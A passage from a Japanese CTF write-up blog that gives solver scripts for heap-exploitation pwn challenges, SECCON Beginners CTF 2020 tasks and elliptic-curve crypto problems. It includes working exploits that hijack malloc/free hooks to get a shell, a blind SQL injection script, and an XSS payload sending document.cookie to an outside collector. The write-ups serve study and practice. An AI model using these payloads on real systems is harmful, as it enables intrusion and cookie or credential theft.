            | ...                                 |
            |                                     |

つまり、 サイズ 0x3b0 程度の chunkを 1度 freeしておけば、 tcache_perthread_struct->entries に相当する領域を サイズ 0x100 の chunk として tcache に追加できる。あとはこの chunk を適当に malloc して、 tcache_perthread_struct->entres[0] = __malloc_hook を書き込めば、 サイズ 0x20 までの小さな chunk の malloc__malloc_hook が割り当てられるので、そこに one gadgetを書き込む。

from ptrlib import *

sock = Process("./popping_caps")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

system_addr = int(sock.recvlineafter("0x"), 16)
libc_base = system_addr - libc.symbol("system")

def malloc(size):
    sock.sendlineafter("choice: ", "1")
    sock.sendlineafter("How many: ", str(size))

def free(distance):
    sock.sendlineafter("choice: ", "2")
    sock.sendlineafter("free: ", str(distance))

def write(content):
    sock.sendlineafter("choice: ", "3")
    sock.sendafter("me in: ", content)

malloc(0x3a8)
free(0)
free(-0x260 + 0x50)
malloc(0xf8)
write( p64( libc.symbol("__malloc_hook")  + libc_base) )
malloc(0x18)
write( p64( 0x10a38c + libc_base) )
sock.interactive()

CSAW CTF 2019 Quals - popping caps 2

popping caps 1と似た問題だが、最後の malloc がなくなった点と、 writeで0xffバイトまで書き込めるようになった点で異なっている。

こちらの方が簡単で、より量を書き込めるので本物の tcache_perthread_struct chunkを指定して freeしてしまって、0x250程度のchunkを確保して、 tcache->entries[0] に当たる位置に __free_hook_ でも __malloc_hook でも好きに書き込んで system("/bin/sh") を呼べる。

from ptrlib import *

sock = Process("./popping_caps")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

system_addr = int(sock.recvlineafter("0x"), 16)
libc_base = system_addr - libc.symbol("system")

def malloc(size):
    sock.sendlineafter("choice: ", "1")
    sock.sendlineafter("How many: ", str(size))

def free(distance):
    sock.sendlineafter("choice: ", "2")
    sock.sendlineafter("free: ", str(distance))

def write(content):
    sock.sendlineafter("choice: ", "3")
    sock.sendafter("me in: ", content)

malloc(100)
free(-0x260 + 0x10)
malloc(0x248)
# write(b"\xff" * 64 + p64(libc_base + libc.symbol("__free_hook")))
# malloc(0x18)
# write(p64(libc_base + libc.symbol("system")) + b"/bin/sh\0\0\0\0\0\0")
# free(8)
write(b"\xff" * 64 + p64(libc_base + libc.symbol("__malloc_hook")))
malloc(0x18)
write(p64(libc_base + libc.symbol("system")))
malloc(str(libc_base + next(libc.find("/bin/sh"))))
sock.interactive()

これだけではあんまりなので、 __rtld_lock_lock_recursiveを使った解法もやってみる。プロセスの終了時に(exit_handlerで) ld.so の中の _dl_fini という関数が呼ばれるのだが、この中で __rtld_lock_lock_recursiveという関数ポインタに登録された関数の呼び出しが行われる。この変数のアドレスは libc_base から算出可能なのでここに one gadget を登録しておくとあとで呼び出される。 この手法は _exit を直接呼び出していきなりシステムコールで終了しているようなバイナリでは使えない。

from ptrlib import *

sock = Process("./popping_caps")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

system_addr = int(sock.recvlineafter("0x"), 16)
libc_base = system_addr - libc.symbol("system")

def malloc(size):
    sock.sendlineafter("choice: ", "1")
    sock.sendlineafter("How many: ", str(size))

def free(distance):
    sock.sendlineafter("choice: ", "2")
    sock.sendlineafter("free: ", str(distance))

def write(content):
    sock.sendlineafter("choice: ", "3")
    sock.sendafter("me in: ", content)


rtld_lock_lock_offset = 0x7ffff7ffdf60 - 0x7ffff79e4000
malloc(100)
free(-0x260 + 0x10)
malloc(0x248)
write(b"\xff" * 64 + p64(libc_base + rtld_lock_lock_offset))
malloc(0x18)
write(p64(libc_base + 0xe569f))
sock.interactive()

SECCON 2019 Online - one

libc 2.27 で add/show/ deleteができて double freeがある。ただし note のページ数が1しかなく、add/show/deleteは全て一つの変数を対象に行われる。

まず libc のアドレスを手に入れる。double freeがありfreeされたアドレスをshowできるバイナリでは、binsに繋がれた chunk をshowしてmain_arenaのアドレスから libc_base を手に入れるのが良い。ただし fastbin や bins の free 時にはその chunk の次の chunk(とその次のchunk?)のサイズが 適切かどうかと、次の chunkの prev_inuse bit がちゃんと立っているかを見る処理が入っているので、これに配慮する必要がある。

そこで今回は サイズ 0x500 の fake chunk をfreeするために、 malloc を繰り返して 0x500 程度の領域を埋め、雑に size っぽい値を書き込んでおいた。あとは tcache poisoning でこの fake chunk を freeしてからshowすれば libc_base が手に入る。

libc_baseが手に入ったらあとは __free_hooksystem に向けるなどすればシェルが取れる。

from ptrlib import *

sock = Process("./one")
elf = ELF("./one")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")

def add(content):
    sock.sendlineafter("> ", "1")
    sock.sendlineafter("> ", content)

def show():
    sock.sendlineafter("> ", "2")
    return sock.recvline()

def delete():
    return sock.sendlineafter("> ", "3")

add(b"A"*32 + p64(0) + p64(0x501) + p64(0))
size = 0
while size < 0x500:
    add(p64(0x21) * 7)
    size += 0x50

delete()
delete()
delete()
delete()
heap_addr = u64(show())
heap_head = heap_addr - 0x1770
first_chunk = heap_head + 0x260 + 0x1010

add(p64(first_chunk + 0x30))
add(p64(first_chunk + 0x30))
add("mogumogu")
delete()
main_arena_96 = u64(show())

libc_base = main_arena_96 - 96 - libc.main_arena()
print("libc_base: 0x{:0x}".format(libc_base))

add("takoyaki")
delete()
delete()
add(p64(libc_base + libc.symbol("__free_hook")))
add(p64(libc_base + libc.symbol("__free_hook")))
add(p64(libc_base + libc.symbol("system")))
add("/bin/sh")
delete()
sock.interactive()

*1:というのも、https://elixir.bootlin.com/glibc/glibc-2.28/source/malloc/malloc.c を見た限りだとkeyない

*2:chunkの、tcache_entry.keyに当たる部分がtcacheのアドレスと同じ値になっている確率は非常に低いが、0ではないので、こちらでまずチェックして怪しければエントリを全部見てちゃんと確かめる

SECCON Beginners CTF 2020 writeup

2020-05-23 14:00 - 2020-05-24 14:00 (JST) で SECCON Beginners CTF が開催されました。今回はチームメンバーが見つからなかったので、腕試しに presecure という一人チームで参加してみました (なんとなく浮かんだのでこの名前にしましたが、既出っぽいのでちゃんと調べておくべきでしたね)。 結果は pwn の Meidum 〜 cryptoのHard、RevのHardが解けず 3823 points で 12位でした。10位以内に入りたかったですね。

[Pwn] Beginner's Stack

Stack Overflowでwin関数に飛ぶだけ。win関数の movaps でプログラムが落ちないように ret gadetをひとつまみ

from ptrlib import *


win = 0x400861
payload = b"A" * 40 +  p64(0x4007F0) + p64(win)

sock = Socket("bs.quals.beginners.seccon.jp", 9001)
sock.sendline(payload)
sock.interactive()

[Pwn] Beginner's Heap

libc 2.28 以降の(keyによるチェックがある) tcache poisoningの問題。丁寧に教えてくれるのでやるだけのはずが、ネットワークが悪かったのかすぐにコネクションが切られてしまったり、同じ入力なのに異なる動き方をしたので、うまく通ることを祈って 30分くらいガチャをした。

from ptrlib import *

sock = Socket("bh.quals.beginners.seccon.jp", 9002)
sock.recvuntil("hook>: ")
free_hook = int(sock.recvline(), 16)


sock.recvuntil("win>: ")
win = int(sock.recvline(), 16)
print("__free_hook: {:0x}".format(free_hook))


sock.sendafter("> ", "2") # malloc and free twice B
sock.send("AAAAAAAA")
sock.sendafter("> ", "3")

sock.sendafter("> ", "2")
sock.send("BBBBBBBB")
sock.sendafter("> ", "3")

sock.sendafter("> ", "1") # heap oveflow 1. overwrite B's fd to __free_hook
sock.send(b"C" * 0x18 + p64(0x21) + p64(free_hook))


sock.sendafter("> ", "2") # malloc B
sock.send("DDDDDDDD")

sock.sendafter("> ", "2") # try once more (?)
sock.send("DDDD2222")

sock.sendafter("> ", "1") # heap oveflow 2. overwrite B's mchunk_size
sock.send(b"E" * 0x18 + p64(0x31))

sock.sendafter("> ", "3") # free B. in this step, B is conneted to tcache[0x28] instead of tcache[0x18]

sock.sendafter("> ", "2") # malloc B (__free_hook)
sock.send(p64(win))

sock.sendafter("> ", "3") # free B to win
sock.interactive()

[Crypto] R&B

先頭の文字が 'R' なら rot13、'B'なら base64のdecodeをやる。手で解いたのでスクリプトないです。

[Crypto] Noisy equations

from os import getenv
from time import time
from random import getrandbits, seed


FLAG = getenv("FLAG").encode()
SEED = getenv("SEED").encode()

L = 256
N = len(FLAG)


def dot(A, B):
    assert len(A) == len(B)
    return sum([a * b for a, b in zip(A, B)])

coeffs = [[getrandbits(L) for _ in range(N)] for _ in range(N)]

seed(SEED)


answers = [dot(coeff, FLAG) + getrandbits(L) for coeff in coeffs]

print(coeffs)
print(answers)

単なるn変数の連立方程式だけど、 ランダムなnoiseが加算されていてそのままでは解けない。幸い、SEEDが指定されていて乱数が固定なので2回リクエストを送って差分を取ると乱数分が消えるのであとは方程式を解くだけ。

from ptrlib import *


sock = Socket("noisy-equations.quals.beginners.seccon.jp", 3000)
coeffs1 = eval(sock.recvline())
answer1 = eval(sock.recvline())
sock.close()

sock = Socket("noisy-equations.quals.beginners.seccon.jp", 3000)
coeffs2 = eval(sock.recvline())
answer2 = eval(sock.recvline())
sock.close()

answers = []
for i in range(len(answer1)):
    answers.append(answer1[i] - answer2[i])


import numpy as np

N = len(answers)
matrix = [[0 for i in range(N)] for j in range(N)]

for i in range(len(answers)):
    for j in range(len(answers)):
        matrix[i][j] = (coeffs1[i][j] - coeffs2[i][j])

A = np.array(matrix)
A = A.astype(np.float64)
b = np.array(answers)
b = b.astype(np.float64)

print("".join(chr(int(x)) for x in list(np.linalg.solve(A, b))))

このソルバだとフラグっぽいけどフラグとはちょっと違う文字列が得られたので何回かやってフラグっぽくなるように修正して提出した。

[Crypto] RSA Calc

from Crypto.Util.number import *
from params import p, q, flag
import binascii
import sys
import signal


N = p * q
e = 65537
d = inverse(e, (p-1)*(q-1))


def input(prompt=''):
    sys.stdout.write(prompt)
    sys.stdout.flush()
    return sys.stdin.buffer.readline().strip()

def menu():
    sys.stdout.write('''----------
1) Sign
2) Exec
3) Exit
''')
    try:
        sys.stdout.write('> ')
        sys.stdout.flush()
        return int(sys.stdin.readline().strip())
    except:
        return 3


def cmd_sign():
    data = input('data> ')
    if len(data) > 256:
        sys.stdout.write('Too long\n')
        return

    if b'F' in data or b'1337' in data:
        sys.stdout.write('Error\n')
        return

    signature = pow(bytes_to_long(data), d, N)
    sys.stdout.write('Signature: {}\n'.format(binascii.hexlify(long_to_bytes(signature)).decode()))

def cmd_exec():
    data = input('data> ')
    signature = int(input('signature> '), 16)

    if signature < 0 or signature >= N:
        sys.stdout.write('Invalid signature\n')
        return

    check = long_to_bytes(pow(signature, e, N))
    if data != check:
        sys.stdout.write('Invalid signature\n')
        return

    chunks = data.split(b',')
    stack = []
    for c in chunks:
        if c == b'+':
            stack.append(stack.pop() + stack.pop())
        elif c == b'-':
            stack.append(stack.pop() - stack.pop())
        elif c == b'*':
            stack.append(stack.pop() * stack.pop())
        elif c == b'/':
            stack.append(stack.pop() / stack.pop())
        elif c == b'F':
            val = stack.pop()
            if val == 1337:
                sys.stdout.write(flag + '\n')
        else:
            stack.append(int(c))

    sys.stdout.write('Answer: {}\n'.format(int(stack.pop())))


def main():
    sys.stdout.write('N: {}\n'.format(N))
    while True:
        try:
            command = menu()
            if command == 1:
                cmd_sign()
            if command == 2:
                cmd_exec()
            elif command == 3:
                break
        except e:
            sys.stdout.write('Error\n')
            sys.stdout.write(e)
            break


if __name__ == '__main__':
    signal.alarm(60)
    main()

[tex: m_1d * m_2d \equiv (m_1m_2)d \mod n] であることを利用して 1337,F を適当に分解して送って得られたsignatureを掛ければ良い。

from ptrlib import *
from Crypto.Util.number import *

sock = Socket("rsacalc.quals.beginners.seccon.jp", 10001)
# sock = Socket("localhost", 8888)
N = int(sock.recvline().decode().split(": ")[1])

e = 65537

m1 =  1081919446939
m2 =  2* 5**2

print(repr(long_to_bytes(m1)), repr(long_to_bytes(m1).strip()))
print(repr(long_to_bytes(m2)), repr(long_to_bytes(m2).strip()))



sock.sendlineafter("> ", "1")
sock.sendlineafter("data> ", long_to_bytes(m1))
sock.recvuntil("Signature: ")
s1 = int(sock.recvline(), 16)

sock.sendlineafter("> ", "1")
sock.sendlineafter("data> ", long_to_bytes(m2))
sock.recvuntil("Signature: ")
s2 = int(sock.recvline(), 16)

s = (s1 * s2) % N
if s < 0 or s >= N:
    print('Invalid signature\n')
    assert False

data = long_to_bytes(m1 * m2)
check = long_to_bytes(pow(s, e, N))
if data != check:
    print('Invalid signature\n')
    assert False

sock.sendlineafter("> ", "2")
sock.sendlineafter("data> ", data)
sock.sendlineafter("signature> ", hex(s)[2:])
sock.interactive()

[Crypto] Encrypter

平文をおくると暗号化してくれて、暗号文を送ると復号できたかどうか教えてくれて、フラグの暗号文を教えてくれるWebサービス。なぜかソースコードがついてなかったけど、問題設定からguessingするとAES-CBCによる暗号化・復号をやっていて、Padding Oracle Attackができるのでやる。 ptrlibを使うとPadding Oracle系はすぐ解ける。

from base64 import *
from ptrlib import *
import requests
import json

c = b64decode(b"rNv1oN83BbvzgICFYbBMtUJ20474P5kmULMw9xZFPOI9vAsrKxf1diFVXVeJl1jE95LNaLajwPLGiUKAQSNe4A==")
iv, c = c[:16], c[16:]

def oracle(c):
    r = requests.post("http://encrypter.quals.beginners.seccon.jp/encrypt.php", data=json.dumps({
        "mode": "decrypt",
        "content": b64encode(c).decode(),
    }))
    if "ok" in r.text:
        return True
    else:
        return False

print(padding_oracle(decrypt=oracle, cipher=c, bs=16, iv=iv))

[Web] Spy

DBにエントリが存在するかどうかで応答時間が違うのでそれを利用する。

[Web] Tweetstore

limit 句にSQL Injectionがある。 PostgreSQLはlimit句でもサブクエリが使えるので表示件数をOracleにしてやる

import requests
import re

index =1
flag = ''
while True:

    r = requests.get(
    'https://tweetstore.quals.beginners.seccon.jp/?search=&limit=(select%20ascii(substr(usename,{},1)) from pg_user limit 1 offset 1)'.format(index)
    )

    a = re.findall('[0-9]+ of 200', r.text)[0].split(" ")[0]

    flag += chr(int(a))
    print(flag)
    index += 1

[Web] unzip

zipファイルをuploadすると展開してくれて、選択したパスのファイルをDLできるようになるアプリケーション。zipにファイルを相対アドレスで格納して ../../../flag などとすると file_get_contents("uploads/session_id/../../../flag"); ができそうな気がしたのでやる。フラグの場所がわからなかったので質問したらアナウンスされた。

[Web] profiler

GraphQL の API がある。https://github.com/graphcool/get-graphql-schema でSchemaを取得したら someone(uid: ID!) というクエリと updateToken(token: String!) という mutation があることがわかるので、それぞれをやって adminのtokenを抜く。

$ curl 'https://profiler.quals.beginners.seccon.jp/api' -H 'Cookie: session=eyJ1aWQiOiJtb2dpbW9naSJ9.XskNXw._y30SNQCtLyjvGcUYgfXAQrX7-I' --data-raw '{"query":"query myon($arg1: ID!) {someone(uid: $arg1){uid token} }", "variables": { "arg1": "admin" }}'

$ curl 'https://profiler.quals.beginners.seccon.jp/api' -H 'Cookie: session=eyJ1aWQiOiJtb2dpbW9naSJ9.XskNXw._y30SNQCtLyjvGcUYgfXAQrX7-I' --data-raw '{"query":"mutation {updateToken(token: \"743fb96c5d6b65df30c25cefdab6758d7e1291a80434e0cdbb157363e1216a5b\")}"}'

[Web] Somen

どこかで見た問題なので http://akouryy.hatenablog.jp/entry/ctf/xss.shift-js.info#23 などを見に行くと location.href="http://ptsv2.com/t/9ck3z-1590289441/post?q" + document.cookie;//</title><script id="message"></script><script> のようなクエリを送ればいい感じになることがわかる。

[Reversing] mask

純粋にロジックを読む

s1 = "atd4`qdedtUpetepqeUdaaeUeaqau"
s2 = "c`b bk`kj`KbababcaKbacaKiacki"

m1 = 0x75
m2 = 0xEB

f = ''

for i in range(len(s1)):
    for c in range(256):
        if m1 & c == ord(s1[i]) and m2 & c == ord(s2[i]):
            f += chr(c)
    print(f)

[Reversing] yakisoba

一瞬だけバイナリをみて一瞬でangrに投げることを決めた

import angr

p = angr.Project("./yakisoba")
e = p.factory.entry_state()
simgr = p.factory.simulation_manager(e)
s = simgr.explore(find=0x400000 + 0x6D2)
import code
code.interact(local=locals())

[Reversing] ghost

次のようなghost script (post script?) にフラグが入力されていて、その出力が渡される。最初は真面目に解析していたけど、途中で同じ入力なら同じ出力が出ることに気がついて入力を前から全探索した。gs コマンドを実行する度にcanvasが描画されて目がちかちかした。

 /flag 64 string def /output 8 string def (%stdin) (r) file flag readline not { (I/O Error\n) print quit } if 0 1 2 index length { 1 index 1 add 3 index 3 index get xor mul 1 463 { 1 index mul 64711 mod } repeat exch pop dup output cvs print ( ) print 128 mod 1 add exch 1 add exch } repeat (\n) print quit
from ptrlib import *
import string
table = string.printable
estimate = "3417 61039 39615 14756 10315 49836 44840 20086 18149 31454 35718 44949 4715 22725 62312 18726 47196 54518 2667 44346 55284 5240 32181 61722 6447 38218 6033 32270 51128 6112 22332 60338 14994 44529 25059 61829 52094".split(" ")
flag = 'ctf4b{'
while len(flag) < len(estimate):
    for c in table:
        sock = Process(["gs", "-q", "chall.gs"])
        sock.sendline(flag + c)
        line = sock.recvline().decode()
        sock.close()
        if " ".join(estimate[:len(flag)+1]) == line:
            flag += c
            print(flag)
            break

[Reversing] sinlangs

apkなので、unzipとjarとcfrとdex2jarを使ってclassファイルを解析していった。AES-GCMによる暗号か復号をやっている処理があったので、そこだけ切り抜いてみた。

import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.spec.GCMParameterSpec;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
class Solve {
    public static void main(String[] args) throws Exception {
            final byte[] array2;
            final byte[] array = array2 = new byte[43];
            array2[0] = 95;
            array2[1] = -59;
            array2[2] = -20;
            array2[3] = -93;
            array2[4] = -70;
            array2[5] = 0;
            array2[6] = -32;
            array2[7] = -93;
            array2[8] = -23;
            array2[9] = 63;
            array2[10] = -9;
            array2[11] = 60;
            array2[12] = 86;
            array2[13] = 123;
            array2[14] = -61;
            array2[15] = -8;
            array2[16] = 17;
            array2[17] = -113;
            array2[18] = -106;
            array2[19] = 28;
            array2[20] = 99;
            array2[21] = -72;
            array2[22] = -3;
            array2[23] = 1;
            array2[24] = -41;
            array2[25] = -123;
            array2[26] = 17;
            array2[27] = 93;
            array2[28] = -36;
            array2[29] = 45;
            array2[30] = 18;
            array2[31] = 71;
            array2[32] = 61;
            array2[33] = 70;
            array2[34] = -117;
            array2[35] = -55;
            array2[36] = 107;
            array2[37] = -75;
            array2[38] = -89;
            array2[39] = 3;
            array2[40] = 94;
            array2[41] = -71;
            array2[42] = 30;

        SecretKeySpec secretKey = new SecretKeySpec("IncrediblySecure".getBytes(), 0, 16, "AES");
                final Cipher instance = Cipher.getInstance("AES/GCM/NoPadding");
                instance.init(2, secretKey, new GCMParameterSpec(128, array, 0, 12));
                final byte[] doFinal = instance.doFinal(array, 12, array.length - 12);
        System.out.println(new String(doFinal));
    }
}

出力は 1pt_3verywhere} でフラグっぽいが足りない。雑に grep -R 'ctf4b' などとすると assets/index.android.bundle にjs側のロジックがあることがわかった。こちらは単純なxorだった。

xs= [34, 63, 3, 77, 36, 20, 24, 8, 25, 71, 110, 81, 64, 87, 30, 33, 81, 15, 39, 90, 17, 27]
ys = "AKeyForios10.3"

flag = ''
for i in range(len(xs)):
    flag += chr(xs[i] ^ ord(ys[i% len(ys)]))
    print(flag)
print(flag + '1pt_3verywhere}')

[Misc] Welcome

Discordサーバにフラグがある。見に行った時点ではまだフラグは投下されてなくて、問題文に「質問はctf4b-bot までお願いします」と書いてったのでそういうことかと思って質問をしたけど早とちりだった

[Misc] emoemoencode

脳死でやった。何だこの問題

xs = open("emo", "rb").read()
flag = ''
cnt = 0
for i in range(0, len(xs), 4):
    try:
        flag += chr(int.from_bytes(xs[i:i+4], "big") - 4036988224)
    except:
        flag += chr(int.from_bytes(xs[i:i+4], "big") - 4036988032)
    print(flag)

print(flag)

[Misc] readme

#!/usr/bin/env python3
import os

assert os.path.isfile('/home/ctf/flag') # readme

if __name__ == '__main__':
    path = input("File: ")
    if not os.path.exists(path):
        exit("[-] File not found")
    if not os.path.isfile(path):
        exit("[-] Not a file")
    if '/' != path[0]:
        exit("[-] Use absolute path")
    if 'ctf' in path:
        exit("[-] Path not allowed")
    try:
        print(open(path, 'r').read())
    except:
        exit("[-] Permission denied")

これ系の問題は絶対にprocfsに違いないとあたりをつけてやった。 /proc/self/environ をよむと PWD=/home/ctf/server であることがわかるので、 /proc/self/cwd/../flag で読める

[アンケート] アンケート

フラグはなし。Discordのリンクだけ見ていたので、競技終了後に問題として出ていることに気がついて、もしや問題文にフラグがあったりしたのではと焦ったがそんなことはなかった。問題の質が高くて面白かったこと、去年に比べて難化が激しいのではないかということ、とにかく楽しかったということを書いたと思う。

yoshi-gcc log

もう随分昔の話ですが、私がGCCに落ちたので、チームinsecure内での勉強会、yoshi-gccが開催されました*1。やっと宿題を片付けたので記録とwriteupを書きます。

他の参加者のブログ

yoshiking.hatenablog.jp

ptr-yudai.hatenablog.com

私の発表

「CTFではLLLを、格子の非零な最小ベクトルを求めるための道具として使う」ということや「求めたい最小ベクトルがMinkowskiの不等式やGaussian Heuristic Assumptionに従いそうなことを確かめよう」などといったことを紹介しつつ、一部のMarkle-Hellman knapsack暗号に対するLLLを用いたアプローチ、Rolling Hashを衝突させる入力をLLLで作る、Approximate GCDっぽい問題をLLLで解くといった例を紹介しました。いま改めて資料を見返したら何言ってるのか全然わからなくて笑っちゃった。

発表中に「行列の各行の大きさを大体揃えておくことが大事っぽいね」みたいな話がでたのですが、これの根拠もよくわかってないです(格子の基底ができるだけ直交した感じになると良さそう? よくわからんね)。

他にも、LLLを適用する際には縦型・横型の行列のどちらを使うべきかといったことについても触れましたが、これは正直なぜこうなるのか全然わかっていないので曖昧に流してしまいました*2。わかる人がいたら教えてください。

yoshikingの発表

yoshikingもLLLについてでしたが、こちらはHITCON 2019のnot so hard RSAという問題の解説ベースという感じでした。要するに mikowskiの定理に従うように行列のサイズを調節してLLLで殴れという問題だと解釈して自分なりにサイズを調節していたのですが、結局私は解けず仕舞いでした。こんなの解けるわけ無いだろ

ptr-yudaiの発表

楕円曲線に関して、過去のCTFで出題された問題を例に、どういうケースで脆弱になるのかを紹介してくれました。過去に取り組んだけど解けなかった問題などが取り上げられていてとても勉強になりました。ここでは取り組んだ問題とその解答スクリプトを列挙してみます。

watevr-CTF 2019 ECC-RSA

本番では「いやー解けね〜〜〜」って言ってやつ(1)です。RSAのp, qが、ある楕円曲線上の点のx, y座標になっているだけ、という問題で、解けなかったときはsageのsolve(方程式を解くやつ)でやっていたのですが、PolynomialRingのrootsを使う手法を教えてもらったので解けました。解いた後、こういう点をどうやって見つけてるのか作問者に聞いたのですが、「マシンパワーで長時間殴った」らしいです。

from sage.all import *
from Crypto.Util.number import *

n = 0x118aaa1add80bdd0a1788b375e6b04426c50bb3f9cae0b173b382e3723fc858ce7932fb499cd92f5f675d4a2b05d2c575fc685f6cf08a490d6c6a8a6741e8be4572adfcba233da791ccc0aee033677b72788d57004a776909f6d699a0164af514728431b5aed704b289719f09d591f5c1f9d2ed36a58448a9d57567bd232702e9b28f
a =  -0x3
b = 0x51953eb9618e1c9a1f929a21a0b68540eea2da725b99b315f3b8b489918ef109e156193951ec7e937b1652c0bd3bb1bf073573df883d2c34f1ef451fd46b503f00

PRIME = 0x1ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
PR, x = PolynomialRing(FiniteField(PRIME), name="x").objgen()
f = (n**2) - (x**5) - a * (x**3) - b * (x**2)
polys = f.roots()

for ans in polys:
    if isPrime(int(ans[0])):
        p = int(ans[0])
        break

q = n // p
c =  0x3862c872480bdd067c0c68cfee4527a063166620c97cca4c99baff6eb0cf5d42421b8f8d8300df5f8c7663adb5d21b47c8cb4ca5aab892006d7d44a1c5b5f5242d88c6e325064adf9b969c7dfc52a034495fe67b5424e1678ca4332d59225855b7a9cb42db2b1db95a90ab6834395397e305078c5baff78c4b7252d7966365afed9e

phi = (p-1)*(q-1)
e = 65537
d = inverse_mod(e, phi)
m = pow(c, d, n)
print(bytes.fromhex(hex(m)[2:]))

ASIS CTF Quals 2019 Halloween Party

本番で解けなかった問題(2)です。ちなみにそのあとwriteupを読んでも解けなかったりしていました。楕円曲線上のいくつかの点から楕円曲線のパラメータを求めるパートと、楕円曲線上の点の方程式を解くパートがあります。楕円曲線上の点に定数 xの逆数 x^{-1}をかけるときは楕円曲線の位数の逆数をとります。こういう基礎的な知識も抜けがち

from sage.all import *

y1 = 467996041489418065436268622304855825266338280723
y2 = 373126988100715326072483107245781156204485119489
y3 = 245091091146774561796627894715885724307214901148

# p = factor(2 * (y1**2) - (y2**2) - (y3**2) + 24) from factordb
p = 883097976585278660619269873521314064958923370261

A = (((y1**2) - (y2**2) - 2 ) // 2) % p
B = (((y1**2) + (y2**2)) // 2) % p


iQy = 621803439821606291947646422656643138592770518069
_, x = PolynomialRing(GF(p), name="x").objgen()
f = x**3 + A*x + B - iQy**2
iQx = int(f.roots()[0][0])

EC = EllipticCurve(GF(p), [A, B])
P2 = EC((iQx, iQy))
P = inverse_mod(2, EC.order())  * P2
print(P)

CSAW CTF Qualification Round 2019 Supercurve

楕円曲線の位数が小さいのでsageのdiscrete_logで殴ると解けます。はい

from sage.all import *
from ptrlib import *



EC = EllipticCurve(GF(14753), [1, -1])
G = EC((1, 1))

sock = Socket("jctf.tk", 12345)
sock.recvuntil("ublic key: ")
x, y = eval(sock.recvline().decode())
Q = EC((x, y))

s = G.discrete_log(Q)
print(s)
print(s * G)
print(Q)
sock.sendline(str(s))
sock.interactive()

picoCTF 2017 ECC2

楕円曲線の位数が素因数分解できる場合に、Pohlig-Hellman attackができるよ、という問題です。この問題も楕円曲線のパラメータbを求めるステップがあり、PolynomialRingのrootsで殴ります

#  Elliptic Curve: y^2 = x^3 + A*x + B mod M
#  M = 93556643250795678718734474880013829509320385402690660619699653921022012489089
#  A = 66001598144012865876674115570268990806314506711104521036747533612798434904785
#  B = *You can figure this out with the point below :)*
#
#  P = (56027910981442853390816693056740903416379421186644480759538594137486160388926, 65533262933617146434438829354623658858649726233622196512439589744498050226926)
#  n = *SECRET*
#  n*P = (61124499720410964164289905006830679547191538609778446060514645905829507254103, 2595146854028317060979753545310334521407008629091560515441729386088057610440)
#
#  n < 400000000000000000000000000000
#
#  Find n.

from sage.all import *

M = 93556643250795678718734474880013829509320385402690660619699653921022012489089
A = 66001598144012865876674115570268990806314506711104521036747533612798434904785
Px, Py = (56027910981442853390816693056740903416379421186644480759538594137486160388926, 65533262933617146434438829354623658858649726233622196512439589744498050226926)

_, b = PolynomialRing(GF(M), name="b").objgen()
f = Px**3 + Px*A + b - Py**2
B = Integer(f.roots()[0][0])

EC = EllipticCurve(GF(M), [A, B])
P = EC((Px, Py))
Q = EC((61124499720410964164289905006830679547191538609778446060514645905829507254103, 2595146854028317060979753545310334521407008629091560515441729386088057610440))

order = EC.order()
factors = list(factor(order))
mods = []
zs = []
cur = 1

bound = 400000000000000000000000000000

for factor in factors:
    p, e = factor
    pe = p**e
    Pi = (order // pe) * P
    Qi = (order // pe) * Q
    zi = Pi.discrete_log(Qi)

    zs.append(zi)
    mods.append(pe)

    cur *= pe
    if cur > bound:
        break

print(CRT(zs, mods))

nullcon HackIM 2019 Singular

Singularな楕円曲線は準同型なほかの構造にうつして解ける、という問題です。なんとこの問題は以前に勉強したことがあったのでスクリプトぺっってすると解けました。が、何が起こっているのかをちゃんと知れてありがたかったです。ところでsupersingularな曲線ってもっと簡単に解けないんですかね……。

from sage.all import *
from Crypto.Cipher import AES
from hashlib import sha256

def c4(a1, a2, a3, a4, a6, p):
    b2 = pow(a1,2) + 4*a2
    b4 = 2*a4 + a1*a3

    return (pow(b2, 2) - 24*b4) % p

PRIME = 785482254973602570424508065997142892171538672071
Field = GF(PRIME)
_, (x, y) = PolynomialRing(Field, 2, names=["x", "y"]).objgens()
A2 = 330762886318172394930696774593722907073441522749
A1 = 6688528763308432271990130594743714957884433976
A0 = 759214505060964991648440027744756938681220132782

f = x**3 + x**2 * A2 + x * A1 + A0 - y**2
C = Curve(f)
Dx, Dy = C.singular_points()[0]
print("[+] singular poinrt: ({}, {})".format(Dx, Dy))

if c4(0, A2, 0, A1, A0, PRIME) == 0:
    print("[+] curve is cusp")
else:
    print("[+] curve is node")

f2 = f.subs(x=x - Dx, y = y - Dx)

G = (1, 68596750097555148647236998220450053605331891340)
P = (453762742842106273626661098428675073042272925939, 680431771406393872682158079307720147623468587944)
Q = (353016783569351064519522488538358652176885848450, 287096710721721383077746502546881354857243084036)

# map from elliptic curve to finite field
Fg = Field(G[0] - Dx) / Field(G[1] - Dy)
Fp = Field(P[0] - Dx) / Field(P[1] - Dy)
Fq = Field(Q[0] - Dx) / Field(Q[1] - Dy)

# solve discrete log
d1 = Fp / Fg
d2 = Fq / Fg
print("d1: {}".format(d1))
print("d2: {}".format(d2))

# find K
Fk = d1 * d2 * Fg

# reverse map from finite field to elliptic curve
K = (Fk**(-2) + Dx, Fk**(-3) + Dy)
key = sha256(str(K[0]).encode()).digest()

c = bytes.fromhex('480fd106c9a637d22fddd814965742236eb314c1b8fb68e70a7c7445ff04476082f8b9026c49d27110ba41b95e9f51dc')
m = AES.new(key, AES.MODE_ECB).decrypt(c)
print(m)

TJCTF 2016 Curvature2

Anomalousな曲線は脆弱だよね、という問題です。SSSA Attack万歳、ecpy万歳。ところでanomalousな曲線どうやって見つけるんでしょう? 知ってる人いらっしゃいませんか……。

from sage.all import PolynomialRing, GF
from ecpy import *


P = 0xd3ceec4c84af8fa5f3e9af91e00cabacaaaecec3da619400e29a25abececfdc9bd678e2708a58acb1bd15370acc39c596807dab6229dca11fd3a217510258d1b
A = 0x95fc77eb3119991a0022168c83eee7178e6c3eeaf75e0fdf1853b8ef4cb97a9058c271ee193b8b27938a07052f918c35eccb027b0b168b4e2566b247b91dc07
